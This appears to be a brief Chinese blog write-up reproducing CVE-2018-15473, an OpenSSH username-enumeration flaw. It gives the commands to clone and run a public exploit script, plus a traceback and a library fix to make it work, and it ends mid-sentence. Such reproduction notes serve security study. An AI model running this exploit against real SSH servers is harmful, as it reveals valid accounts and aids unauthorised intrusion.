CVE-2018-15473 漏洞复现
前言
OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。
复现过程
克隆poc脚本到本地
git clone https://github.com/Rhynorater/CVE-2018-15473-Exploit.git
(注意:该脚本使用python3编写)
安装依赖库:
pip3 install -r requirements.txt
运行脚本
root@kali:~/Desktop/CVE-2018-15473-Exploit# python3 sshUsernameEnumExploit.py
Traceback (most recent call last):
File "sshUsernameEnumExploit.py", line 33, in <module>
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
TypeError: 'property' object is not subscriptable
可以看到,发生了报错。
参照 https://www.freebuf.com/vuls/193988.html ,到paramiko库下的auth_handler.py下的AUTH_handler,将 _handler_table改为_client_handler_table。然而ÿ